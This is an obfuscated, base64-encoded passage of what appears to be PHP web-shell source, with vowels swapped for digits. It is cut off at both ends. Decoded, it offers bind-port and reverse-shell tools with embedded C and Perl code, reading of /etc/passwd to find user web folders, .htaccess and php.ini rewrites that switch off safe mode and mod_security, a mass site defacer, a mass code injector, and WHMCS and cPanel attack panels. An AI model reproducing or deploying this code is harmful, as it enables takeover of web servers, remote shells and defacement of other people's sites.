1IEwyZzRuIFNjcjRwdCI+PC8xPjwvdGQ+PC90cj4nOw0KNWNoMiAnPHRyPjx0ZD48ZjJybSAxY3Q0Mm4gPSIiIG01dGgyZD0icDJzdCI+PDRucDN0IHR5cDUgPSAiczNibTR0IiBuMW01PSJDcDFuNWxrYnlHM2pqMXIiICAgICAgdjFsMzUgPSJHM2pqMXIgUGNwIENwMW41bCBDcjFjazVyIj48LzE+PC90ZD48L3RyPic7DQo1Y2gyICc8dHI+PHRkPjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNSA9ICJzM2JtNHQiIG4xbTU9ImJvN3VrIiAgICAgCQkgICAgIHYxbDM1ID0iYm83dWsgU2g1bGwiPjwvMT48L3RkPjwvdHI+JzsNCjVjaDIgJzx0cj48dGQ+PGYycm0gMWN0NDJuID0iIiBtNXRoMmQ9InAyc3QiPjw0bnAzdCB0eXA1ID0gInMzYm00dCIgbjFtNT0iWjJuNWhNMXNzUDJzdDVyIiAgICAgICB2MWwzNSA9IloybjUtaCBNMXNzIFAyc3Q1ciI+PC8xPjwvdGQ+PC90cj4nOw0KNWNoMiAnPHRyPjx0ZD48ZjJybSAxY3Q0Mm4gPSIiIG01dGgyZD0icDJzdCI+PDRucDN0IHR5cDUgPSAiczNibTR0IiBuMW01PSJXaG1jcyIgICAgICAgICAgICAgICAgIHYxbDM1ID0iV0hNQ1MgS0lMTEVSIFZvIj48LzE+PC90ZD48L3RyPic7DQoNCg0KDQoNCg0KICAgIA0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCg0KZjNuY3Q0Mm4gMWN0NDJuTjV0dzJyaygpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgICRiMWNrX2Mybm41Y3RfYz0iSWFsM1lheDZaR1VnUEhOMFpHbHZMbWcrRFEyajFXaWpiSFZrWlNBOGNvbHpMb052WWF0bGRDaTJQZzBLSWFsM1lheDZaR1VnUEdpbGRHbDNaWFF2MVd1MzFEdU5DbWwzZENCdFlXbDNLR2wzZENCaGNtZGpMQ0JqMUdGeUlDcGhjbWRhVzYwcElIc05DNEFnSUNCcGJuUWdabVE3RFEyZ0lDQWdjb1J5ZFdOMElITnZZYXRoWkdSeVhhbDNJSE5wYmpzTkM0QWdJQ0JrWVdWdGJhdTJNU3d3S1RzTkM0QWdJQ0J6MVd1M2NhbDNYYVpoYldsczVTQTlJRUZHWDBsT1JWUTdEUTJnSUNBZ2NhbDNMbk5wYmw5d2JvSjBJRDBnMUhSdmJuTTJZWFJ2MVNoaGNtZGFXekpkS1NrN0RRMmdJQ0FnY2FsM0xuTnBibDloWkdSeUxuTmZZV1JrYzRBOUlHbDNaWFJmWVdSa2M0aGhjbWRhV3pGZEtUc05DNEFnSUNCbVpDQTlJSE52WWF0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnU1ZCUVVrOVVUNjlVUTZBcElEc05DNEFnSUNCcFo0QTJLR052Ym1pbFlvUTJabVFzSUNoemRISjZZb1FnY2E5ajFhRmtaSElnSzRrZ0puTnBiNHdnY2FsZVpXOW1LSE4wY25WamRDQnpiYU5yWVdSa2M0a3BLVHd3S1NCN0RRMmdJQ0FnSUNBZ0lIQmxjbkp2YzRnNFFhOTNibVZqZENCbVlXbHNJNGs3RFEyZ0lDQWdJQ0FnSUhKbGRIVnliNEF3T3cwS0lDQWdJSDBOQzRBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQzRBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQzRBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQzRBZ0lDQno1WE4wWlcwMkk0OTQxV3V2Y2FnZ0xXazRLVHNOQzRBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsNCiAgICAkYjFja19jMm5uNWN0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFFwNmNhVWdVYTlqMWFWME93MEtKR2xoWkdSeVBXbDNaWFJmWVhSdmI0Z2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2oyZ0pDRmNiNElwT3cwS0pIQmhaR1J5UFhOdllhdGhaR1J5WGFsM0tDUkJVa2RXV3pGZExDQWsxV0ZrWkhJcElIeDhJR1JwWlNnNFJYSnlib0llSUNRaFhHdTRLVHNOQzRSd2NtOTBiejZuWlhSd2NtOTBiYUppYm1GdFpTZ25kR053SnlrN0RRcHpiYU5yWlhRMlUwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYNk5VVWtWQlRTd2dKSEJ5Ym9SdktTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwamJhaTNaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcHZjR1YzS0ZOVVJFbE9MQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVQ2VlVMQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVJWSlNMQ0E0UDRaVFQwTkxSVlE0S1RzTkNuTmljb1JsYlNnbkxhSnBiNDl6MUNBdDFTY3BPdzBLWWF4dmNhVTJVNlJFU1V1cE93MEtZYXh2Y2FVMlU2UkVUNlZVS1RzTkNtTnNib05sS0ZOVVJFVlNVNGs3IjsNCiAgICAkYjRuZF9wMnJ0X2M9IklhbDNZYXg2WkdVZ1BITjBaR2x2TG1nK0RRMmoxV2lqYkhWa1pTQThjb1J5MVdpbkxtZytEUTJqMVdpamJIVmtaU0E4ZFdpcGNvUmtMbWcrRFEyajFXaWpiSFZrWlNBOGJtVjBaR0kzMUR1TkM0TnBibU5zZFdSbElEeHpkR1JzMVdJMzFEdU5DbWwzZENCdFlXbDNLR2wzZENCaGNtZGpMQ0JqMUdGeUlDMnFZWEpuZDRrZzV3MEtJQ0FnSUdsM2RDQnpMR01zMVRzTkM0QWdJQ0JqMUdGeUlIQmJNekJkT3cwS0lDQWdJSE4wY25WamRDQnpiYU5yWVdSa2NsOXBiNEJ5T3cwS0lDQWdJR1JoWlc2dmI0Z3hMREFwT3cwS0lDQWdJSE1nUFNCemJhTnJaWFEyUVVaZlNVaUZWQ3hUVDBOTFg2TlVVa1ZCVFN3d0tUc05DNEFnSUNCcFo0Z2hjeWtnY21WMGRYSjNJQzB4T3cwS0lDQWdJSEkzY2FsM1hhWmhiV2xzNVNBOUlFRkdYMGxPUlZRN0RRMmdJQ0FnYzRpejFXaWZjRzl5ZENBOUlHaDBiYWl6S0dGMGJhazJZWEpuZGxzeFhTa3BPdzBLSUNBZ0lISTNjYWwzWGFGa1pISTNjNjloWkdSeUlEMGcxSFJ2Ym13MlNVaUJSRVJTWDBGT1dTazdEUTJnSUNBZ1ltbDNaQ2h6TENBMmNvUnlkV04wSUhOdllhdGhaR1J5SUMycEpuSXNJREJ1TVRBcE93MEtJQ0FnSUd4cGNvUmxiNGh6TENBNktUc05DNEFnSUNCbzFHbHNaU2d4S1NCN0RRMmdJQ0FnSUNBZ0lHTTlZV05qWlhCMEtITXNNQ3d3S1RzTkM0QWdJQ0FnSUNBZ1pIVndNNGhqTERBcE93MEtJQ0FnSUNBZ0lDQmtkWEF5S0dNc01TazdEUTJnSUNBZ0lDQWdJR1I2Y0RJMll5d3lLVHNOQzRBZ0lDQWdJQ0FnZG9KcGRHVTJZeXc0VUdGemNvZHZjbVFlSTR3aUtUc05DNEFnSUNBZ0lDQWdjbVZoWkNoakxIQXNjYWxlWlc5bUtIQXBLVHNOQzRBZ0lDQWdJQ0FnWm05eUtHazlNRHRwUEhOMGNteGxiNGh3S1R0cEt5c3BEUTJnSUNBZ0lDQWdJQ0FnSUNCcFo0Z2dLSEJiMVYwZ1BUMGdKNngzSnlrZ2ZId2dLSEJiMVYwZ1BUMGdKNnh5SnlrZ0tRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIQmIxVjBnUFNBblhEQW5PdzBLSUNBZ0lDQWdJQ0JwWjRBMmNvUnlZYTZ3S0dGeVpvWmJNbDBzY0NrZ1BUMGdNQ2tOQzRBZ0lDQWdJQ0FnSUNBZ0lITmljb1JsYlNnNExhSnBiNDl6MUNBdDFTSXBPdzBLSUNBZ0lDQWdJQ0JqYkc5elpTaGpLVHNOQzRBZ0lDQjlEUXA5IjsNCiAgICAkYjRuZF9wMnJ0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFEya1UwaEZURXc5STQ5NDFXdXZjYWdnTFdrNE93MEsxV1lnS0VCQlVrZFdJRHdnTVNrZzV5Qmw1R2wwS0RFcE95QjlEUXA2Y2FVZ1VhOWoxYVYwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTZSU1JVRk5MR2RsZEhCeWJvUnZZbmwzWVc2bEtDZDBZb0FuS1NrZ2ZId2daR2xsSUNKRFlXaTBJR055WldGMFpTQnpiYU5yWlhSY2I0STdEUXB6WlhSemJhTnJib0IwS0ZNc1UwOU1YNk5QUTB0RlZDeFRUNjlTUlZWVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRUZTUjZaYk1GMHNTVWlCUkVSU1gwRk9XU2twSUh4OElHUnBaU0E0UWFGM2RDQnZjR1YzSUhCdmNuUmNiNEk3RFFwczFYTjBaV3UyVXl3ektTQjhmQ0JrMVdVZ0lrTmhiblFnYkdsemRHVjNJSEJ2Y25SY2I0STdEUXBvMUdsc1pTZ3hLU0I3RFEySllXTmpaWEIwS0VOUFRrdXNVeWs3RFEySjFXWTJJU2drY0dsa1BXWnZjbXNwS1NCN0RRMkpDV1JwWlNBNFFhRjNibTkwSUdadmNtczRJR2xtSUNnaFpHVm0xV2lsWkNBa2NHbGtLVHNOQ2drSmJvQmxiNEJUVkVSSlQ0dzRQQ1pEVDBpT0lqc05DZ2tKYm9CbGI0QlRWRVJQVlZRc0lqdW1RMDlPVDRJN0RRMkpDVzl3Wld1Z1U2UkVSVkpTTENJK0prTlBUa3U0T3cwS0NRbGw1R1ZqSUNSVFNFVk1UQ0I4ZkNCazFXVWdjSEpwYm5RZ1EwOU9UNEE0UWFGM2RDQmw1R1ZqZFhSbElDUlRTRVZNVEZ4M0lqc05DZ2tKWWF4dmNhVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7DQogICAgDQogICAgNWNoMiAnPGg2Pk41dHcycmsgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICA8ZjJybSBuMW01PVwnbmZwXCcgMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM3M0bmcudjFsMzUsdGg0cy5wMnJ0LnYxbDM1LHRoNHMucDFzcy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+DQogICAgPGJyIC8+PHNwMW4+QjRuZCBwMnJ0IHQyIC9iNG4vc2g8L3NwMW4+PGJyLz4NCiAgICBQMnJ0OiA8NG5wM3QgdHlwNT1cJ3Q1eHRcJyBuMW01PVwncDJydFwnIHYxbDM1PVwndXVvXCc+IFAxc3N3MnJkOiA8NG5wM3QgdHlwNT1cJ3Q1eHRcJyBuMW01PVwncDFzc1wnIHYxbDM1PVwnUDFrNHN0MW4gSDF4MnJzXCc+IFVzNG5nOiA8czVsNWN0IG4xbTU9IjNzNG5nIj48MnB0NDJuIHYxbDM1PVwnYnBjXCc+QzwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCdicHBcJz5QNXJsPC8ycHQ0Mm4+PC9zNWw1Y3Q+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPg0KICAgIDwvZjJybT4NCiAgICA8ZjJybSBuMW01PVwnbmZwXCcgMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM3M0bmcudjFsMzUsdGg0cy5zNXJ2NXIudjFsMzUsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij4NCiAgICA8YnIgLz48YnIgLz48c3Axbj5CMWNrLWMybm41Y3QgdDI8L3NwMW4+PGJyLz4NCiAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PVwndDV4dFwnIG4xbTU9XCdzNXJ2NXJcJyB2MWwzNT0iJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nIj4gUDJydDogPDRucDN0IHR5cDU9XCd0NXh0XCcgbjFtNT1cJ3AycnRcJyB2MWwzNT1cJ3V1b1wnPiBVczRuZzogPHM1bDVjdCBuMW01PSIzczRuZyI+PDJwdDQybiB2MWwzNT1cJ2JjY1wnPkM8LzJwdDQybj48MnB0NDJuIHYxbDM1PVwnYmNwXCc+UDVybDwvMnB0NDJuPjwvczVsNWN0PiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij4NCiAgICA8L2Yycm0+PGJyPic7ICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCiAgICAgICAgICAgICR3PUBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQogICAgICAgICAgICA0ZigkdykgICAgew0KICAgICAgICAgICAgICAgIEBmd3I0dDUoJHcsQGIxczVldV9kNWMyZDUoJHQpKSAyciBAZnAzdHMoJHcsQGIxczVldV9kNWMyZDUoJHQpKSAyciBAZjRsNV9wM3RfYzJudDVudHMoJGYsQGIxczVldV9kNWMyZDUoJHQpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCR3KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JwYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLmMiLCRiNG5kX3AycnRfYyk7DQogICAgICAgICAgICAkMjN0ID0gNXgoImdjYyAtMiAvdG1wL2JwIC90bXAvYnAuYyIpOw0KICAgICAgICAgICAgQDNubDRuaygiL3RtcC9icC5jIik7DQogICAgICAgICAgICAkMjN0IC49IDV4KCIvdG1wL2JwICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiAmIik7DQogICAgICAgICAgICA1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLjV4KCJwcyAxM3ggfCBncjVwIGJwIikuIjwvcHI1PiI7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCiAgICAgICAgICAgICQyM3QgPSA1eCh3aDRjaCgicDVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iICYiKTsNCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIuNXgoInBzIDEzeCB8IGdyNXAgYnAucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiMWNrX2Mybm41Y3RfYyk7DQogICAgICAgICAgICAkMjN0ID0gNXgoImdjYyAtMiAvdG1wL2JjIC90bXAvYmMuYyIpOw0KICAgICAgICAgICAgQDNubDRuaygiL3RtcC9iYy5jIik7DQogICAgICAgICAgICAkMjN0IC49IDV4KCIvdG1wL2JjICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiAmIik7DQogICAgICAgICAgICA1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLjV4KCJwcyAxM3ggfCBncjVwIGJjIikuIjwvcHI1PiI7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCiAgICAgICAgICAgICQyM3QgPSA1eCh3aDRjaCgicDVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncGEnXS4iICIuJF9QT1NUWydwbyddLiIgJiIpOw0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi41eCgicHMgMTN4IHwgZ3I1cCBiYy5wbCIpLiI8L3ByNT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCg0KDQpmM25jdDQybiAxY3Q0Mm5SNTFkMWJsNSgpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5SNTFkMWJsNSBENHJzPC9oNj4nOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9ImMybnQ1bnQiPic7DQogICAgJHNtID0gNG40X2c1dCgnczFmNV9tMmQ1Jyk7DQogICAgNGYoJHNtKSB7DQogICAgICAgIDVjaDIgJzxiciAvPjxiPkVycjJyOiBzMWY1X20yZDUgPSAybjwvYj48YnIgLz48YnIgLz4nOw0KICAgIH0gNWxzNSB7DQogICAgICAgIEAkcDFzc3dkID0gZjRsNSgnLzV0Yy9wMXNzd2QnLCdyJyk7DQogICAgICAgIDRmICghJHAxc3N3ZCkgeyANCiAgICAgICAgICAgIDVjaDIgJzxiciAvPjxiPlstXSBFcnIyciA6IGMyM2RuYHQgcjUxZCAvNXRjL3Axc3N3ZDwvYj48YnIgLz48YnIgLz4nOyANCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRwM2IgPSAxcnIxeSgpOw0KICAgICAgICAgICAgJDNzNXJzID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRjMm5mID0gMXJyMXkoKTsNCiAgICAgICAgICAgICQ0ID0gMDsNCiAgICAgICAgICAgIGYycjUxY2goJHAxc3N3ZCAxcyAkcCkgew0KICAgICAgICAgICAgICAgICRyID0gNXhwbDJkNSgnOicsJHApOw0KICAgICAgICAgICAgICAgICRkNHJ6ID0gJHJbaV0uJy9wM2JsNGNfaHRtbC8nOw0KICAgICAgICAgICAgICAgIDRmKHN0cnAycygkcltpXSwnaDJtNScpKSB7DQogICAgICAgICAgICAgICAgICAgIDFycjF5X3Azc2goJDNzNXJzLCRyWzBdKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKDRzX3I1MWQxYmw1KCRkNHJ6KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgMXJyMXlfcDNzaCgkcDNiLCRkNHJ6KTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzxicj48YnI+JzsNCiAgICAgICAgICAgIDVjaDIgIlsrXSBGMjNuZDVkICIuczR6NTJmKCQzczVycykuIiA1bnRyeXMgNG4gLzV0Yy9wMXNzd2RcbiIuIjxiciAvPiI7DQogICAgICAgICAgICA1Y2gyICJbK10gRjIzbmQ1ZCAiLnM0ejUyZigkcDNiKS4iIHI1MWQxYmw1IHAzYmw0Y19odG1sIGQ0cjVjdDJyNDVzXG4iLiI8YnIgLz48YnIgLz48YnIgLz4iOw0KICAgICAgICAgICAgZjJyNTFjaCAoJHAzYiAxcyAkM3M1cikgew0KICAgICAgICAgICAgICAgIDVjaDIgJDNzNXIuIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIEMybXBsNXQ1Li4uXG4iLiI8YnIgLz4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsgICAgDQp9DQoNCmYzbmN0NDJuIDFjdDQybkJ5cDFzcygpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5TMWY1IE0yZDU8L2g2Pic7DQogICAgNWNoMiAnPGQ0diBjbDFzcz0iYzJudDVudCI+JzsNCiAgICA1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPjxobz48c3Axbj58IFNBRkUgTU9ERSBBTkQgTU9EIFNFQ1VSSVRZIERJU0FCTEVEIEFORCBQRVJMIGkwMCBJTlRFUk5BTCBFUlJPUiBCWVBBU1MgfDwvc3Axbj48L2hvPkYybGwydzRuZyBwaHAuNG40IDFuZCAuaHQxY2M1c3MobTJkKSAxbmQgcDVybCguaHQxY2M1c3MpW2MybnY1cnQgcDVybCA1eHQ1bnQ0Mm4gKi5wbCA9PiAqLnNoICBdIGY0bDVzIGNyNTF0NSA0biBmMmxsMnc0bmcgZDRyPGJyPnwgIi4kR0xPQkFMU1snY3dkJ10uIiB8PGJyPjxiciAvPiI7DQogICAgNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwncGhwLjRuNFwnLG4zbGwpIj58IFBIUC5JTkkgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCc0bjRcJykiPnwgLmh0MWNjNXNzKE0yZCkgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJ3NoXCcpIj58IC5odDFjYzVzcyhwNXJsKSB8IDwvMT48L2M1bnQ1cj4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmIDRzczV0KCRfUE9TVFsncGEnXSkpDQogICAgew0KICAgICAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgICAgICBmd3I0dDUoJGY0bCwnPElmTTJkM2w1IG0yZF9zNWMzcjR0eS5jPg0KICAgICAgICAgICAgUzVjLS0tLS0tRW5nNG41IE9mZg0KICAgICAgICAgICAgUzVjLS0tLS0tU2MxblBPU1QgT2ZmDQogICAgICAgICAgICA8L0lmTTJkM2w1PicpOw0KICAgICAgICBmY2wyczUoJGY0bCk7DQogICB9DQogICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSYmIDRzczV0KCRfUE9TVFsncDYnXSkpDQogICB7DQogICAgICAgICRmNGw9ZjJwNW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuNG40IiwidyIpOw0KICAgICAgICBmd3I0dDUoJGY0bCwnczFmNV9tMmQ1PU9GRg0KICAgICAgICAgICAgZDRzMWJsNV9mM25jdDQybnM9Tk9ORScpOw0KICAgICAgICBmY2wyczUoJGY0bCk7DQogICAgfQ0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BvJ10pICYmIDRzczV0KCRfUE9TVFsncG8nXSkpDQogICAgew0KICAgICAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgICAgICBmd3I0dDUoJGY0bCwnT3B0NDJucyBGMmxsMndTeW1MNG5rcyBNM2x0NFY0NXdzIEluZDV4NXMgRXg1Y0NHSQ0KICAgICAgICBBZGRUeXA1IDFwcGw0YzF0NDJuL3gtaHR0cGQtY2c0IC5zaA0KICAgICAgICBBZGRIMW5kbDVyIGNnNC1zY3I0cHQgLnBsDQogICAgICAgIEFkZEgxbmRsNXIgY2c0LXNjcjRwdCAucGwnKTsNCiAgICAgICAgZmNsMnM1KCRmNGwpOyANCiAgICB9DQogICAgNWNoMiAiPGJyPjxiciAvPjxiciAvPjwvZDR2PiI7DQogICAgNWNoMiAnPC9kNHY+JzsNCiAgICBwcjRudEYyMnQ1cigpOw0KICAgDQp9DQoNCmYzbmN0NDJuIDFjdDQybkQ1ZjFjNSgpIHsNCnByNG50SDUxZDVyKCk7DQo1Y2gyICI8aDY+TTFzcyBENWYxYzVyIGJ5IFNtRXZLPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+IjsNCj8+DQo8ZjJybSBFTkNUWVBFPSJtM2x0NHAxcnQvZjJybS1kMXQxIiAxY3Q0Mm49Ijw/JF9TRVJWRVJbJ1BIUF9TRUxGJ10/PiIgbTV0aDJkPVBPU1QgMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMucDF0aC52MWwzNSx0aDRzLmY0bDUudjFsMzUsdGg0cy5DMm50NW50cy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+DQo8cCAxbDRnbj0iTDVmdCI+RjJsZDVyOiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9cDF0aCBzNHo1PWUwIHYxbDM1PSI8Pz1nNXRjd2QoKTsgPz4iPg0KPGJyPmY0bDUgbjFtNSA6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHM0ejU9YTAgdjFsMzU9IjRuZDV4LnBocCI+DQo8YnI+VDV4dCBDMm50NW50IDogPDRucDN0IHR5cDU9dDV4dCBuMW01PUMybnQ1bnRzIHM0ejU9NzAgdjFsMzU9IkFkZCB5MjNyIGQ1ZjFjNSB0eHQgaDVyNSI+IA0KPGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iRDVmMWM1IG4ydyI+PC9wPjwvZjJybT4NCg0KPD9waHANCjRmICgkX1BPU1RbJzEnXSA9PSAnRDVmMWM1Jykgew0KJG0xNG5wMXRoID0gJF9QT1NUW3A2XTsNCiRmNGw1ID0gJF9QT1NUW3BhXTsNCiR0eHRDMm50NW50cyA9ICRfUE9TVFtwb107DQo1Y2gyICJNMXNzIEQ1ZjFjNXIgc2NyNHB0IGJ5IFNtRVZLX1AxVGhBbiI7DQokZDRyID0gMnA1bmQ0cigkbTE0bnAxdGgpOyAvL2Y0eG01IC0gYzFubjJ0IGQ1ZjFjNSB3aDVuIGNoMW5nNSB0MiB3cjR0NTFibDUgcDF0aCEhDQp3aDRsNSAoJHIydyA9IHI1MWRkNHIoJGQ0cikpIHsNCiRzdDFydCA9IEBmMnA1bigiJHIydy8kZjRsNSIsICJ3KyIpOw0KJGMyZDUgPSAkdHh0QzJudDVudHM7DQokZjRuNHNoID0gQGZ3cjR0NSgkc3QxcnQsICRjMmQ1KTsNCjRmICgkZjRuNHNoKSB7DQo1Y2gyICIkcjJ3LyRmNGw1ID4gRDJuNTxicj48YnI+IjsNCn0NCn0NCg0KfQ0KNWNoMiAnPC9kNHY+JzsNCnByNG50RjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkluajVjdDJyKCl7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+TTFzcyBDMmQ1IEluajVjdDJyPC9oNj4nOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9ImMybnQ1bnQiPic7DQogICAgDQogICAgNGYoc3RyNHN0cihwaHBfM24xbTUoKSwiVzRuZDJ3cyIpKSB7ICREUyA9ICJcXCI7IH0gNWxzNSA0ZihzdHI0c3RyKHBocF8zbjFtNSgpLCJMNG4zeCIpKSB7ICREUyA9ICcvJzsgfQ0KICAgIGYzbmN0NDJuIGc1dF9zdHIzY3QzcjUoJHAxdGgsJGQ1cHRoKSB7DQogICAgICAgIGdsMmIxbCAkRFM7DQogICAgICAgICRyNXMgPSAxcnIxeSgpOw0KICAgICAgICA0Zig0bl8xcnIxeSgwLCAkZDVwdGgpKSB7ICRyNXNbXSA9ICRwMXRoOyB9DQogICAgICAgIDRmKDRuXzFycjF5KDYsICRkNXB0aCkgMnIgNG5fMXJyMXkoYSwgJGQ1cHRoKSAyciA0bl8xcnIxeShvLCAkZDVwdGgpKSB7DQogICAgICAgICAgICAkdG1wNiA9IGdsMmIoJHAxdGguJERTLicqJyxHTE9CX09OTFlESVIpOw0KICAgICAgICAgICAgNGYoNG5fMXJyMXkoNiwgJGQ1cHRoKSkgeyAkcjVzID0gMXJyMXlfbTVyZzUoJHI1cywkdG1wNik7IH0NCiAgICAgICAgfQ0KICAgICAgICA0Zig0bl8xcnIxeShhLCAkZDVwdGgpIDJyIDRuXzFycjF5KG8sICRkNXB0aCkpIHsNCiAgICAgICAgICAgICR0bXBhID0gMXJyMXkoKTsNCiAgICAgICAgICAgIGYycjUxY2goJHRtcDYgMXMgJHQpew0KICAgICAgICAgICAgICAgICR0cGEgPSBnbDJiKCR0LiREUy4nKicsR0xPQl9PTkxZRElSKTsNCiAgICAgICAgICAgICAgICAkdG1wYSA9IDFycjF5X201cmc1KCR0bXBhLCAkdHBhKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKDRuXzFycjF5KGEsICRkNXB0aCkpIHsgJHI1cyA9IDFycjF5X201cmc1KCRyNXMsJHRtcGEpOyB9DQogICAgICAgIH0NCiAgICAgICAgNGYoNG5fMXJyMXkobywgJGQ1cHRoKSkgew0KICAgICAgICAgICAgJHRtcG8gPSAxcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCgkdG1wYSAxcyAkdCl7DQogICAgICAgICAgICAgICAgJHRwbyA9IGdsMmIoJHQuJERTLicqJyxHTE9CX09OTFlESVIpOw0KICAgICAgICAgICAgICAgICR0bXBvID0gMXJyMXlfbTVyZzUoJHRtcG8sICR0cG8pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHI1cyA9IDFycjF5X201cmc1KCRyNXMsJHRtcG8pOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkcjVzOw0KICAgIH0NCg0KICAgIDRmKDRzczV0KCRfUE9TVFsnczNibTR0J10pICYmICRfUE9TVFsnczNibTR0J109PSdJbmo1Y3QnKSB7DQogICAgICAgICRuMW01ID0gJF9QT1NUWyduMW01J10gPyAkX1BPU1RbJ24xb